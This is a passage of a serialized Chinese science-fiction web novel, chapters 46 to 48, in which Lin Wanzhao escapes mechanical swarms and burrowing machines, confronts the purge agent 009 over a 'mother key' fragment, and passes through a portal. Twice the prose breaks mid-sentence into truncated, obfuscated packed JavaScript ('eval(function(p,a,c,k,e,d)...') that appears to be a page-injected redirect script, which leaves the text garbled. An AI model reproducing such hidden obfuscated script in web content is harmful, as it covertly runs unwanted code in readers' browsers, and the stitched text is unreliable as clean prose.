林晚照闭上眼睛,深深吸了一口冰冷污浊的空气。赌了。 她将锁链碎片塞回怀里,用还能动的右手撑着潮湿的砖壁,艰难地挪动身体,从凹陷处爬了出来。 月光下,她终于看清了055号。 他看起来三十出头,个子很高,身形精悍,穿着一身深蓝色的、毫不起眼的旧工装,外面套着件半旧的军绿色棉大衣,头上戴着顶同样普通的棉帽,脸上沾着些尘土和倦色。五官端正但没什么特点,属于扔进人堆就找不着的类型,只有那双眼睛,在看到她蹒跚而出的身影时,闪过一丝极快的、属于专业人员的评估神色——迅速扫过她的脸色、包扎的手腕、破烂的衣衫和站立的姿态。 没有多余的同情或惊讶,只有冷静的判断。 “能走吗?”他问,声音恢复了之前的平稳。 “能。”林晚照咬牙站稳,尽管双腿还在微微发抖。 “跟上,保持安静,尽量沿着我的脚印走。”055号不再废话,转身就朝着铁路路基下方、更深的荒草丛和乱石堆方向走去。他的步伐很快,但似乎刻意调整了节奏,确保林晚照能勉强跟上。 林晚照不再犹豫,跟了上去。每一步都牵扯着全身的伤痛,冰冷的空气灼烧着喉咙和肺部。但她强迫自己集中精神,留意055号的路线——他显然对这片地形做过功课,专挑最难走、最隐蔽、最容易消除痕迹的路径,避开任何可能留下气味的泥泞地带,甚至偶尔会停下,用一些随手可得的枯枝败叶,简单处理一下他们留下的微弱痕迹。 专业,且谨慎。 两人在黑暗中沉默地行进了大约一刻钟,远离了铁路线,进入了一片生长着稀疏灌木和低矮丘陵的荒地。055号突然停下,蹲下身,从怀里掏出一个小巧的、像指南针但更复杂的仪器,看了一眼屏幕。 “搜索波前接近了。”他低声说,眉头微皱,“比我预计的快。看来‘博士’动用了更高密度的‘蜂群’。” 他迅速环顾四周,目光锁定在不远处一个不起眼的、被大量藤蔓和枯草覆盖的土坡。“那边,有个早年防空洞的废弃通风口,被塌方掩埋了大半,但里面还有空间,能屏蔽大部分能量扫描和生命探测。进去躲一波。” 他率先拨开藤蔓,露出一个黑黢黢的、仅容一人侧身挤入的狭窄缝隙。里面隐约有股陈年土腥味和霉味传来。 林晚照看着那个洞口,如同怪兽的咽喉。进去,意味着将自身完全置于这个陌生人的掌控之下,在一个封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林晚照全身汗毛倒竖,几乎要忍不住跳起来。就在这时,她左手腕的银镯,再次传来那种轻微的、与055号之前展示徽记时类似的共鸣震动!很微弱,但持续着。 与此同时,她感觉到怀里的金属片,也隐隐传来一丝极其细微的温热。 上方的挖掘声停了。嗡鸣声变得有些迟疑,仿佛在困惑,在重新辨别。几秒钟后,嗡鸣声开始减弱,朝着另一个方向移动,渐渐远去。 又过了漫长的几分钟,直到那令人心悸的嗡鸣彻底消失在夜风中,055号才缓缓松了口气,身体稍微松弛下来。 “屏蔽有效。”他低声道,声音里也带着一丝后怕,“这个废弃防空洞的土层结构和金属残留,加上‘母本钥匙’自身的微弱场域干扰,混淆了‘蜂群’的扫描。它们暂时离开了。” 危机暂时解除。但林晚照的心却沉了下去。刚才银镯和金属片的异动……是因为“蜂群”吗?还是因为055号? 她看向黑暗中的055号,对方也正看向她。两人的目光在昏暗中交汇,各自带着审视和未褪的警惕。 “现在,”055号打破了沉默,“我们需要谈谈。首先,你手里的‘母本钥匙’碎片,是从哪里得到的?它激活时,除了摧毁‘清道夫’,是否还触发了其他信息?” 林晚照没有立刻回答。她在权衡,该透露多少。 “其次,”055号继续道,语气严肃起来,“关于你的身份,以及‘博士’所谓的‘育种’计划……我想,‘灯塔’监察部037号蕾拉,应该已经告诉过你一部分。但有些真相,她可能自己也未能完全知晓,或者……无法告诉你。” 他顿了顿,一字一句地问道: “你知道‘初代播种者’计划吗?知道为什么‘遗蜕’要疯狂搜寻并激活‘母本钥匙’吗?以及……你有没有想过,你手腕上的‘锚点’,除了定位和控制,为什么在靠近‘母本钥匙’或特定能量场时,会产生‘共鸣’?” 林晚照的呼吸骤然一窒。 初代播种者?共鸣? 这些问题,像一把把钥匙,试图打开她认知深处更黑暗、更核心的密室。 而答案,或许就隐藏在她这一路的遭遇、蕾拉的记忆碎片、老太太的故事,以及……她自己那被迷雾笼罩的“起源”之中。 46.地下的交锋与地底的震动 “‘初代播种者’……”林晚照咀嚼着这个词,防空洞里滞闷的空气似乎因为这个词语而变得更加沉重。“博士提到过‘育种者’和‘繁育者’,现在又是‘播种者’。你们‘灯塔’……到底有多少种‘者’?” 她的话里带着明显的讥诮和疲惫,但目光却紧紧锁在055号脸上,不放过他任何一丝细微的表情变化。信任依然脆弱如冰,她必须确认对方透露的信息是否与她的经历、与蕾拉破碎的记忆能够互相印证。 055号似乎并不意外她的反应,只是轻轻摇了摇头,那动作在昏暗中几乎看不清。“不是‘灯塔’有多少种‘者’,而是‘遗蜕’——那些从‘灯塔’或更早的‘方舟计划’中叛离、走上歧途的观测员和科学家——他们根据自己的妄想,给不同阶段的实验体和工具起了这些名字。”他停顿了一下,似乎在组织更精确的语言,“‘初代播种者’,指的是‘遗蜕’早期理论中,被认为是最理想的‘母本’或‘源头’。他们相信,存在某种完美的时空生命形态或高度适配的观测员个体,能够稳定地产出优质的‘种子’——也就是新的、可控制的观测员或共生体胚胎。蕾拉,也就是037号,根据我们目前掌握的情报,很可能就是他们找到并捕获的、最接近‘初代播种者’概念的目标之一。” 蕾拉是“初代播种者”?所以她是“繁育者”,是“母本”? 林晚照感到一阵寒意。“那我呢?‘果实’?‘种子’?” “你可能是‘种子’,但更可能……是‘意外’。”055号的声音压得更低,“根据038号(郑卫国)之前传回的有限情报,以及你刚才激活‘母本钥匙’的表现来看,你与共生体的结合并非‘遗蜕’计划内的完美产物,而是一种计划外的、高风险的共生。这种意外产生的‘果实’,往往蕴含着更大的变异潜能和不确定性,对‘遗蜕’来说既是极有价值的研究对象,也是需要严密控制的危险变数。这或许能解释为什么‘博士’对你如此执着,甚至不惜暴露这个重要据点也要抓你回去。” 意外……变异……价值与危险并存。这个解释,某种程度上比纯粹的“果实”更让林晚照感到一种扭曲的真实感。她想起树苗懵懂的好奇与保护欲,想起自己一次次在绝境中爆发的、似乎超越常规的力量。 “那‘母本钥匙’到底是什么?为什么蕾拉会有它?它和我……和我的镯子,又有什么共鸣?”她追问,这是目前最迫切的谜团。 “‘母本钥匙’……”055号沉吟道,“根据‘灯塔’古老的档案碎片记载,它并非人造物,而是在‘方舟计划’早期,从某个极其危险的时空裂痕深处打捞出的、疑似来自更古老文明或高阶时空存在的遗物。它本身似乎蕴含着某种‘净化’、‘定义’或‘锁死’特定时空异常规则的权能。最初,‘灯塔’试图研究并利用它来稳定观测员投放和清理失控任务。但后来,一部分研究员——也就是后来的‘遗蜕’——认为它能用来‘定义’和‘筛选’完美的‘播种者’与‘种子’,从而引发了内部的分裂和窃取。” 他看向林晚照,尽管黑暗中看不清眼神,但语气极为严肃:“蕾拉作为早期最优秀的观测员之一,很可能在‘遗蜕’分裂前就接触甚至保管过部分‘钥匙’碎片。她失联后,‘遗蜕’一直在疯狂搜寻她和她可能带走的碎片。你手中的这块,应该就是其中之一。至于共鸣……” 他指了指林晚照的手腕:“‘锚点’信标的技术,本身就部分借鉴了‘钥匙’的基础原理,试图在观测员身上建立一个可控的‘时空定义点’。当‘钥匙’被激活时,同源的‘锚点’会产生微弱共振,这并不奇怪。但通常这种共振会被‘灯塔’中枢监控并屏蔽。你这里的情况特殊,可能因为‘钥匙’碎片能量不足,或者你的‘锚点’……在共生体影响下发生了一些未知变化。” 部分真相开始串联。林晚照低头看着自己左手腕上黯淡的银镯,又摸了摸怀中那块冰凉失效的金属片。原来这囚笼般的镯子,竟与这救命的“钥匙”同出一源。真是莫大的讽刺。 “你说‘钥匙’能‘净化’、‘定义’……我刚刚用它毁了‘清道夫’,这是‘净化’?”她想起那怪物化为灰烬的场景。 “是,那是它最基本的应用之一——将不符合特定时空规则或能量结构的‘错误造物’强制分解湮灭。‘遗蜕’制造的‘清道夫’、‘蜂群’,都属于典型的‘错误造物’,充满了混乱的时空能量和生物质拼接。”055号肯定道,“但‘钥匙’的力量远不止于此。根据碎片记载,完整的‘母本钥匙’甚至能短暂影响局部时空的规则,或者……对特定的‘时空定义点’(比如‘锚点’)进行深层次的干涉。” 干涉“锚点”?林晚照的心猛地一跳。这意味着……有可能解除或控制它? 她刚要开口询问细节,突然—— “嗡……” 一种与之前“蜂群”高频嗡鸣截然不同的、更加沉闷、仿佛来自大地深处的震动声,隐隐传来! 紧接着,防空洞的顶部和墙壁,开始簌簌落下细小的土块和灰尘! 055号脸色骤变,猛地看向手中的探测仪。屏幕上,原本平静的地层扫描图像,此刻从下方深处,亮起了数个快速向上移动的红点! “该死!是‘掘地者’!”他低吼一声,语速极快,“‘博士’动用了地下单位!它们能钻透岩层,直接从下方攻击或堵死我们!这个防空洞不够深,挡不住它们!” 话音未落,脚下的地面也传来了清晰的、仿佛巨型钻头啃噬岩石的沉闷轰鸣!整个防空洞开始剧烈摇晃,更多的土石崩落,灰尘弥漫! “往上走!回地面!”055号当机立断,一把拉住林晚照的胳膊,拽着她朝来时的狭窄通道冲去!现在待在地下就是等死! 林晚照被他拉得一个踉跄,伤口剧痛,但求生的本能让她爆发出最后的力量,跟着他拼命向上爬。身后的轰鸣声越来越近,仿佛有什么庞然大物正破土而出,要将他们连同这个小小的掩体一起吞噬! 两人狼狈不堪地挤出通风口缝隙,重新回到寒冷荒芜的夜空下。然而,眼前的景象让他们心头一沉。 之前盘旋远去的“蜂群”嗡鸣声,去而复返!而且这一次,声音来自四面八方,更加密集,更加逼近!夜空中,隐约可见许多快速移动的、拳头大小的阴影,它们闪烁着冰冷的金属光泽和红色的扫描光点,正形成一个包围圈,朝着他们所在的这片区域合拢! 空中“蜂群”,地下“掘地者”! 真正的天罗地网,立体合围! “被锁死了!”055号环顾四周,脸色铁青。他迅速从腰间抽出一个巴掌大的、造型奇特的管状物,看上去像某种信号枪或发射器。“准备突围!跟紧我,我会制造干扰和缺口!记住,目标是东北方向三公里外的废弃农机站,那里有我们预设的紧急撤离点!” 他刚要抬手发射,林晚照却猛地按住了他的手臂! “等等!”她的声音因为急促而嘶哑,但眼神却异常锐利,“它们的目标是我!或者准确说,是我身上的‘钥匙’碎片和异常的‘锚点’信号!分开走!你引开大部分,我找机会从另一边钻出去!” “你疯了?!你现在的状态……”055号低吼。 “我没疯!”林晚照打断他,语速飞快,“你的仪器,你的装备,你的经验,更适合正面周旋和制造混乱!而我……我有这个!”她再次掏出那块已经失效的金属片,虽然它能量耗尽,但材质特殊,“‘钥匙’的载体本身,可能依然对它们有吸引或干扰作用!我拿着它,朝另一个方向移动,能分流压力!这是唯一可能让两个人都活下来的办法!” 她不是在逞英雄,而是在绝境中做出的残酷而理智的抉择。055号是专业的接应人员,是此刻唯一明确知道撤离点的人,他活下去,自己才有后续获救的可能。而自己这身“诱饵”特质,正好可以用来调虎离山。 055号死死盯着她,眼中闪过挣扎,但迅速被决断取代。他看清了林晚照眼中的冷静和决绝,知道这不是冲动,而是最优解。 “……好!”他从牙缝里挤出一个字,迅速从怀里掏出两个小小的、像纽扣电池一样的金属片,塞进林晚照没受伤的右手,“高频声波诱饵,捏碎外壳扔出去,能模拟‘钥匙’碎片三秒的能量波动,吸引低级‘蜂群’。省着用!”他又扯下自己脖子上一个不起眼的、用细链拴着的金属牌,上面刻着复杂的纹路,“紧急求救信标,如果……如果你能侥幸脱身,又找不到我,捏碎它,会向最近的所有‘灯塔’友好单位发送你的坐标和求救编码,但也会彻底暴露你!” 他将这两样东西塞给林晚照的瞬间,地面上传来的震动和轰鸣已经近在咫尺!不远处的土坡猛地隆起、开裂! “走!”055号用力一推林晚照,将她推向西侧一片更茂密的枯草灌木丛方向,同时自己猛地转身,举起手中的管状发射器,对准了东北方向空中最密集的“蜂群”区域,扣动了扳机! “咻——砰!!” 一道刺眼的蓝色光球射入夜空,骤然炸开,化作一张覆盖数十平方米的、噼啪作响的电流网!被笼罩的“蜂群”瞬间紊乱,发出更加尖锐的嗡鸣,不少小型个体冒着黑烟坠落! 这巨大的动静和能量爆发,果然吸引了大部分“蜂群”和地下“掘地者”的注意,轰鸣声和嗡鸣声明显朝着055号的方向汇聚! 林晚照头也不回,猫着腰,用尽全身力气冲进西侧的灌木丛。枯枝刮擦着她的脸和衣服,带来细密的刺痛,但她浑然不顾。她按照055号指示的方向,拼命奔跑,同时将一块“高频声波诱饵”捏碎,朝着侧后方用力扔出! “嗡……”一股奇异的、带着金属质感的细微声波扩散开来。 一小部分原本朝着她这边移动的“蜂群”阴影,果然迟疑了一下,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就在这千钧一发之际,她左手腕上沉寂的银镯,突然再次爆发出一阵剧烈但混乱的震动!而怀中那块失效的“母本钥匙”金属片,也同时变得滚烫! 不是共鸣,而像是……两种同源但不同状态的能量,在极度危险和近距离刺激下,发生了某种不可预料的激烈冲突! “啊——!”林晚照惨叫一声,感觉左手腕仿佛要炸裂开,一股狂暴的、无法控制的力量从银镯和金属片接触点迸发,瞬间席卷她的左臂,甚至冲向她本就受创的意识! 与此同时,那猛扑而至的“掘地者”钻头,在距离她不到五米的地方,突然像是撞上了一堵无形的、充满排斥力的墙壁,速度骤减!它那飞速旋转的钻头与那无形力场激烈摩擦,爆发出令人牙酸的火花和尖叫!怪物发出愤怒的嘶吼,更加疯狂地催动力量,试图突破。 林晚照跪倒在地,左手不受控制地高高抬起,手腕上的银镯光芒乱闪,怀中的金属片更是烫得仿佛要融化进她的血肉!两股力量在她体内冲撞,痛苦几乎让她昏厥。她模糊的视线看到,自己抬起的左手前方,空气剧烈扭曲,隐约形成一个极不稳定的、不断明灭的银色光晕,正是这光晕暂时挡住了“掘地者”! 是“锚点”和“钥匙”碎片的冲突能量,阴差阳错地形成了短暂的防御?但这绝对无法持久!她能感觉到自己的力量(和树苗残留的力量)正在被疯狂抽取,银镯和金属片也都在发出不堪重负的哀鸣! “掘地者”的钻头一点点推进,无形的力场开始出现裂痕般的闪烁! 要撑不住了…… 就在林晚照意识即将被剧痛和绝望淹没的最后一刻—— 一道黑影,如同鬼魅般从河床对岸的黑暗中疾射而出!速度之快,只在空中留下淡淡的残影! 那身影精准地掠过“掘地者”庞大的身躯侧方,手中寒光一闪,一柄造型奇特、仿佛由某种黑色晶体构成的短刃,狠狠刺入了怪物装甲节片之间一处微弱的能量连接缝隙! “滋啦——!!!” 刺耳的能量短路声爆响!“掘地者”庞大的身躯猛地一僵,钻头停止旋转,复眼的红光疯狂闪烁后迅速黯淡下去,发出最后一声不甘的嘶鸣,轰然瘫倒在河床上,激起漫天尘土。 黑影轻盈落地,就在林晚照身前几步之外。 月光勉强照亮来人的轮廓——又是一个穿着深色劲装的身影,比055号更纤细矫健,脸上戴着遮住下半张脸的黑色面罩,只露出一双冷静到近乎漠然的眼睛。他(她?)手中那柄黑色晶体短刃,正缓缓从“掘地者”的残骸中抽出,刃身上不沾丝毫血污或油渍。 来人转过身,那双眼睛看向跪在地上、狼狈不堪、左手还在不受控制颤抖、怀中微光乱闪的林晚照。 一个清冷、中性、听不出年龄也听不出情绪的声音,透过面罩淡淡响起: “观测员074号?我是‘灯塔’肃清部队,编号009。奉命回收‘钥匙’碎片,并‘处理’所有接触核心机密的‘高污染风险个体’。” 他(她)的目光,缓缓移向林晚照手腕上光芒未熄的银镯,以及她怀中那烫人的金属片,最后,定格在她苍白失血的脸上。 “现在,请你解释——为什么你身上的‘锚点’,会与‘母本钥匙’碎片发生‘深度嵌合’反应?以及……你意识里那个沉睡的共生体,为什么带着‘初代播种者’蕾拉的生命印记?” 47. 母体印记与摇篮低语 009号的话像冰锥,刺穿了河床边寒风也无法冻结的紧张空气。“肃清部队”、“高污染风险个体”、“处理”……每一个词都浸着制度性的冷酷。林晚照跪在冰冷的乱石上,左手腕的银镯仍在失控地闪烁着紊乱的光芒,怀中的金属片烫得灼人,而眼前这个新出现的“灯塔”人员,比之前的055号更加危险莫测。 她没有立刻回答,也没有试图站起来——那会暴露她的虚弱,也可能被视为反抗的信号。她只是抬起头,迎向009号那双淡漠的眼睛,努力让自己的声音听起来平稳,尽管喉咙干涩刺痛: “深度嵌合……是什么意思?蕾拉的生命印记,又是什么?” 她没有否认,也没有承认,而是反问。这是她现在唯一能做的——拖延时间,收集信息,同时拼命调动几乎枯竭的精神,试图安抚体内狂暴冲突的能量,并唤醒沉寂的树苗。她需要任何一点可能的助力。 009号似乎并不意外她的问题。他(她)手中的黑色晶体短刃挽了个极小的刀花,无声地归入腰侧鞘中,动作流畅得不带一丝烟火气。那双露出的眼睛,依旧没什么情绪。 “‘锚点’是‘灯塔’制造的可控时空定义点,而‘母本钥匙’是来自未知高阶存在的规则干涉器。理论上,它们同源,但应用方式和能级相差甚远。”009号的声音透过面罩,依然清晰平直,像在陈述操作规程,“正常情况下,‘钥匙’碎片会对‘锚点’产生微弱共鸣或干扰,但绝不会像你现在这样——能量场深度纠缠,甚至开始反向侵蚀‘锚点’的基础结构,造成能量逆流和载体过载。这就是‘深度嵌合’,通常只发生在……” 他顿了顿,似乎在选择更准确的词汇:“……发生在设计之初就预留了某种特殊接口的‘定制化锚点’上。或者,发生在‘锚点’载体与‘钥匙’碎片长时间、高契合度接触,且载体本身发生不可控变异的情况下。” 定制化锚点?长时间高契合度接触?林晚照脑中闪过银镯“外婆遗物”的身份,闪过它七个月来与自己形影不离,闪过共生体带来的改变……哪一种更接近真相? “至于生命印记,”009号继续道,目光似乎穿透了林晚照的身体,看向她意识深处某个地方,“那是一种高层次的生命能量特征编码,类似于遗传密码,但包含意识、记忆甚至部分灵魂本质的烙印。它无法被轻易复制或伪造。你意识中那个共生体,其最核心的能量波动里,缠绕着属于监察长蕾拉(037号)的、独一无二的生命印记。这意味着,它要么是蕾拉用自身力量‘孵化’或‘切割’创造的子体,要么……它曾与蕾拉进行过深度的、超越常规的能量乃至意识融合。” 子体?意识融合?林晚照想起树苗对蕾拉那一声声源自本能的“母亲”呼唤,想起蕾拉在培养舱中看到她(或者说看到树苗)时,眼中那一闪而逝的复杂光芒。真相,似乎正一点点浮出水面,却比想象中更加惊人。 “所以,你认为我是什么?”林晚照终于问道,声音带着一丝她自己都未察觉的疲惫,“一个被‘定制’的、用来承载‘钥匙’碎片的实验体?还是一个意外融合了蕾拉‘子体’的变异观测员?或者……两者都是?” 009号沉默了片刻。远处,055号那边的交火声已经完全停歇,只有夜风呜咽。河床对岸的黑暗中,似乎有什么更庞大、更沉重的东西在移动,带来隐隐的震动感——是博士的后续部队,还是别的什么? “我的任务指令是:回收‘钥匙’碎片,评估接触者的污染等级,并根据评估结果执行相应‘处理’程序。”009号最终说道,没有直接回答林晚照的问题,但话里的意思很明确——她的身份归属,将直接决定她的结局。“现在,请你主动交出‘钥匙’碎片,并放松意识防御,配合我进行初步污染扫描。反抗,会提高你的风险评级。” 他(她)向前踏出了一步。仅仅是这一步,一股无形的、冰冷的压力便弥漫开来,仿佛周围的空气都变得黏稠沉重。这不是杀气,而是一种更高层次的、基于规则和权限的压制力。林晚照毫不怀疑,眼前这个人(或这个存在)拥有瞬间制服甚至摧毁此刻的她的能力。 交出去?然后任由扫描、评级、“处理”?像实验室里的小白鼠一样? 绝不! 几乎在009号踏前一步的同时,林晚照用尽最后力气,猛地将右手心里一直攥着的、055号给的最后一枚“高频声波诱饵”捏碎,朝着009号脚前的乱石地掷去!同时,她的左手——那只戴着银镯、与金属片能量冲突的手——不是攻击,而是狠狠地、主动地拍向了自己怀中那块滚烫的金属片! 她不知道会发生什么。也许是彻底的能量爆炸,将她炸得粉身碎骨。也许是更诡异的能量反应。但她要赌!赌这深度嵌合的能量冲突,在被主动引爆的瞬间,会产生连009号也无法轻易控制的混乱场域!为她争取哪怕一秒的喘息,或者……引起远处可能仍在关注这里的055号,或者任何其他变数的注意! “嗡——轰!!!” 声波诱饵和主动激发的能量冲突,几乎同时爆发! 高频声波只是让009号的步伐微微一顿,面罩下的眉头似乎皱了一下。但林晚照左手拍击金属片引发的能量爆鸣,却远超预期! 那不是爆炸,而是一种低沉的、仿佛来自时空深处的嗡鸣!银镯的光芒瞬间暴涨到刺眼的程度,金属片更是爆发出不甘的、最后的炽烈银光!两股狂暴的能量以林晚照的身体为战场,轰然对撞、绞杀、然后……像是达到了某种临界点,猛地向内坍缩! 林晚照感觉自己像被无形的巨锤砸中胸口,眼前一黑,喷出一口鲜血。但预想中的撕裂感并未到来。那坍缩的能量并未扩散,而是在她身前形成了一个极不稳定的、拳头大小的、不断明灭扭曲的银色光球!光球内部,隐约可见无数细密的、如同闪电又如同符文的能量纹路在疯狂游走,散发出的波动让周围的空气都出现了水纹般的涟漪! 更奇异的是,这光球形成的瞬间,林晚照意识深处沉寂的树苗,像是被这同源却狂暴的能量剧烈刺激,猛地颤动了一下!一股微弱但清晰的、带着痛苦和茫然的意念,挣扎着传递出来: 母亲……痛……呼唤……摇篮…… 摇篮?又是“摇篮”!博士之前也提到过启动“摇篮”的诱导信号! 就在这时,009号动了!他(她)似乎也被这意外的能量异变所吸引,但动作没有丝毫迟疑。黑色晶体短刃再次出现在手中,刃尖以肉眼难以捕捉的速度,闪电般刺向那个不稳定的银色光球!显然,他(她)认为这个异常的能量聚合体风险极高,必须立刻消除! “叮——!!!” 一声清脆到诡异的、仿佛水晶破碎又仿佛金属交击的响声! 黑色晶体短刃的刃尖,精准地刺入了银色光球的核心!预想中的能量湮灭或爆炸并未发生。相反,那光球像是找到了宣泄口,又像是被更高级的力量“锚定”,狂暴的能量流如同百川归海,疯狂地涌向黑色晶体短刃! 短刃的黑色晶体材质,开始以刃尖接触点为中心,迅速蔓延开细密的、银色的裂纹!裂纹中迸发出刺目的光芒! 009号的身体第一次出现了明显的震动!他(她)握住短刃的手,指节因用力而发白,手臂微微颤抖,似乎在承受巨大的力量冲击!那双一直淡漠的眼睛里,终于掠过了一丝难以掩饰的惊讶! “这是……反向解析侵蚀?!怎么可能?‘钥匙’碎片怎么可能有这种……”他(她)低声自语,话音未落—— “嗡————” 一股远比之前任何动静都要宏大、悠远、仿佛来自大地极深处、又仿佛来自星空彼岸的低沉共鸣声,毫无征兆地,席卷了整个夜空! 这声音不刺耳,却带着一种无法形容的穿透力,直接作用于灵魂深处!它无视了距离,无视了屏障,在这一刻,响彻在河床荒野,响彻在省城废墟,响彻在实验室深处,甚至……可能响彻在更遥远的地方。 林晚照被这声音震得心神恍惚,眼前阵阵发黑。009号也猛地抬头望天(或者说望向上方无形的虚空),身体彻底僵住,连手中的短刃和那正在被侵蚀的光球都暂时顾不上了。 而林晚照意识中,树苗那刚刚苏醒一丝的意念,在这宏大共鸣响起的刹那,变得无比清晰、无比激动,甚至带着一种孺慕的哀伤与渴望: 摇篮!母亲的摇篮!在呼唤!回家……要带母亲……回家! 紧接着,一段破碎的、却比以往任何一次都要清晰的画面,如同决堤的洪水,伴随着这“摇篮”的共鸣声,强行冲进了林晚照几乎要崩溃的意识: 不再是荒野或实验室。那是一个无比空旷、无比寂静的纯白空间,巨大到望不到边际。空间中央,悬浮着一个无法用语言形容的、由柔和光芒构成的复杂几何体,它缓缓旋转,散发出温暖而浩瀚的能量。年轻的蕾拉(更年轻,甚至带着少女般的青涩)跪在几何体下方,双手捧着一颗细微的、散发着淡绿色光芒的种子(树苗最初的样子?),泪流满面,对着几何体低声祈祷:“……请庇护这最后的‘可能性’……带走它……远离‘遗蜕’的污染……去一个……有光有土有希望的时代……”几何体的光芒温柔地笼罩了她和那种子。然后画面切换,是蕾拉毅然转身,将那颗 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“蕾拉长官的‘摇篮’祈祷……‘最后的可能性’……”009号低声重复着从刚才能量冲击和共鸣中捕捉到的信息碎片,“原来如此……这就是‘生命印记’的真相。你不是‘遗蜕’的实验体,你是……蕾拉长官选择的‘火种’携带者。” 他(她)的语气,虽然依旧没什么温度,但那个“处理”的冰冷意味,似乎悄然褪去了一些。 然而,危机并未解除。 河床对岸的黑暗中,那沉重的移动声和震动感,已经近在咫尺!数个庞大的、形态各异的黑影,撞开枯树和土石,出现在了月光下!那是更多的“掘地者”,还有几种未曾见过的、如同金属巨蝎或节肢坦克般的怪异机械!它们红眼闪烁,锁定了河床中的两人! 与此同时,夜空中,残余的“蜂群”重新汇聚,更多的、型号各异的飞行器从城市方向飞来,其中甚至有几架体型较大、带有明显武装挂载的旋翼飞行器!博士的全力围捕,显然被刚才的“摇篮”共鸣彻底激发! 前有未知立场的009号,后有博士的机械大军,空中还有封锁。 而林晚照,油尽灯枯。 009号看了一眼逼近的机械大军,又看了一眼地上气息微弱的林晚照,似乎瞬间做出了某个决定。他(她)手腕一翻,那柄受损的黑色晶体短刃消失,取而代之的是一个巴掌大的、银灰色金属圆盘。 “你的污染评级,需要重新评估。但现在,优先任务是撤离。”009号的声音依旧冷静,但语速加快,“抓住这个。” 他将金属圆盘抛到林晚照身边。圆盘落地,瞬间展开成一道柔和的、银白色的椭圆形光门,门内光影流转,看不清通向何处。 “短程空间折跃信标,目标设定为‘灯塔’第七区外围安全节点。进去。”009号命令道,同时转身,面向逼近的机械大军,双手虚握,一股远比之前055号更加强大、更加凝练的能量场开始在他(她)周身汇聚、闪烁。“我来断后。” 林晚照看着那道光门,又看看009号挡在前方的背影。没有时间犹豫了。她挣扎着,用尽最后一丝力气,朝着光门爬去。 就在她的手指即将触碰到光门边缘的瞬间—— “噗!” 一声极其轻微、仿佛气泡破裂的声响。 不是来自前方,也不是来自空中。 而是来自她的怀里。 那块紧贴着她胸口放置的、已经失去光泽的“母本钥匙”金属片,就在她即将进入光门的这一刻,毫无征兆地……化作了细细的、银灰色的流沙,从她衣襟的缝隙中,簌簌滑落,消散在河床的乱石之间。 仿佛它的使命,或者说,它与她这段短暂的、激烈的“深度嵌合”,终于走到了尽头。 林晚照愣住了。 009号似乎也感应到了什么,回头看了一眼,眼中再次闪过一丝讶异。 光门的光芒,柔和却坚定地笼罩住了林晚照。 她的身影,开始变得模糊、透明。 最后一刻,她看到009号单手挥出,一道新月般的黑色能量弧光斩向最前方的机械巨蝎,爆发出震耳欲聋的轰鸣和刺眼的能量闪光! 也看到,在更远处的天际线,省城的方向,某栋高大建筑的顶部,一道诡异的、暗红色的螺旋光柱,冲天而起,与还未完全消散的“摇篮”共鸣余韵,产生了某种邪恶的共振,发出如同无数人哀嚎般的低沉呜咽。 那是……博士启动的“最终协议”?“摇篮”的诱导信号? 光门彻底吞没了她。 意识陷入黑暗前的最后一瞬,她仿佛又听到了树苗微弱却执着的意念,回荡在灵魂深处: 回家……带母亲……回家…… 48. 歧路与红岸 银白的光芒如同潮水般退去,留下的是失重感与光怪陆离的眩晕。 林晚照没有如预期般脚踏实地。她悬浮着,置身于一条无法用常理形容的通道之中。四周并非墙壁,而是流淌的、变幻的——像是打翻的颜料桶在宇宙中晕开,又像无数面破碎的镜子映照着不同时空的碎片。赤红的熔岩河流与湛蓝的深海景象仅一“线”之隔,枯萎的巨树林立旁侧却是钢筋水泥的都市废墟。五彩斑斓的“河流”在她身边缓慢或急速地流淌,那是具象化的时空乱流,偶尔溅起的“水花”是一闪即逝的陌生画面或断续的嘈杂声响。 这是空间折跃的通道?还是出了严重偏差? 她低头,发现自己身体呈现出半透明的质感,能看见内部微弱流转的银光(来自银镯的残余能量)和一丝顽强的淡绿色脉络(树苗的存在)。怀中空空如也,那金属片化作的流沙仿佛从未存在过,只在衣襟上留下一点难以察觉的灰烬。 “呃……”试图移动带来的剧痛让她闷哼出声。现实中□□遭受的创伤与能量反噬,在这奇异的空间形态下并未消失,只是转化为一种更抽象、更深入灵魂的疲惫与灼痛。每一次“呼吸”(如果这形态还需要呼吸的话)都牵扯着遍布“身体”各处的裂痕般的痛楚。 就在她努力凝聚涣散的意识,试图弄清状况时—— 前方,约莫二十米处,流淌的斑斓乱流中,一道身影缓缓凝聚。 那是一个女性的轮廓,由柔和纯净的银白光点构成,边缘微微模糊,仿佛随时会融入背景。她穿着样式简洁却透着未来感的白色衣袍,长发披肩,面容……林晚照的心脏(或者说意识核心)猛地一抽。 那是蕾拉。 但并非她见过的、疲惫而坚韧的囚徒蕾拉,也不是记忆中惊鸿一瞥的、泪流满面的年轻蕾拉。这个光影构成的蕾拉,面容更加柔和,眼神清澈平静,嘴角甚至带着一丝若有若无的、令人安心的微笑。她看起来像是某个理想状态下的定格,剔除了所有苦难与风霜,只剩下某种神性般的温柔与指引感。 她向林晚照伸出手,手掌摊开,姿态充满邀请。一个温柔而清晰的声音,直接回荡在林晚照的意识中,并非通过耳朵: “来……这边。安全的路。我带你去‘灯塔’的庇护所,那里有你需要的答案,也能治好你的伤。” 这声音带着奇异的抚慰力量,让林晚照灵魂中的痛楚似乎都减轻了些许。银镯残留的能量与这光影蕾拉散发的波动产生了微弱的共鸣,仿佛在印证她话语的真实性。通往“灯塔”的安全节点?这似乎是009号原本设定的目的地。眼前的“蕾拉”是接引程序?还是折跃信标生成的导航幻象? 林晚照的思维艰难转动。去“灯塔”?跟着这个看起来充满善意的指引者?这似乎是最合理的选择。009号虽然态度莫测,但最后关头确实出手断后,并提供了撤离手段。“灯塔”作为一个庞大组织,或许真有办法解决她身上的麻烦,无论是银镯的异常,树苗的存在,还是“钥匙”碎片消散留下的谜团。 她下意识地想要朝那个光影蕾拉移动。 然而—— “不!错……错误!” 